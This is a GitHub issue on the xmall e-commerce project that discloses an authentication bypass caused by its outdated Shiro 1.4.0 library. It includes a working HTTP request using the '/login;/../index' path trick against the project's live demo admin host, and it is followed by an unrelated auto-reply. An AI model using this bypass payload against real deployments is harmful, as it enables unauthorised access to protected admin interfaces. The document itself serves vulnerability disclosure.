Exrick / xmall

基于SOA架构的分布式电商购物商城 前后端分离 前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等
http://xmall.exrick.cn
GNU General Public License v3.0
7.17k stars 2.56k forks source link

There is an Incorrect Access Control vulnerability in xmall #96

Open RacerZ-fighting opened 1 day ago

RacerZ-fighting commented 1 day ago

[Suggested description] xmall was found to have an Incorrect Access Control vulnerability due to the use of an insecure version of Shiro.

[Vulnerability Type] Incorrect access control

[Vendor of Product] https://github.com/Exrick/xmall

[Affected Product Code Base] all version (<= v1.1)

[Affected Component] All interface require authentication

[Attack Type] Remote

[Vulnerability details] Send the payload below to the interface /index

GET /login;/../index HTTP/1.1
Host: xmadmin.exrick.cn
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: xmadmin.exrick.cn
Connection: keep-alive
Cookie: JSESSIONID=AFB6620FA06404C85D9C5E285E193F8C
image image

[Cause of vulnerability] Shiro is used for authentication in Xmall, but version 1.4.0 contains an insecure implementation

image

Meanwhile, xmall includes some interfaces configured without permission requirements, enabling the exploitation of vulnerabilities in Shiro's implementation to achieve authentication bypass.

image
leopoldwalden commented 1 day ago

您的邮件我已收到,祝您工作顺利、生活愉快。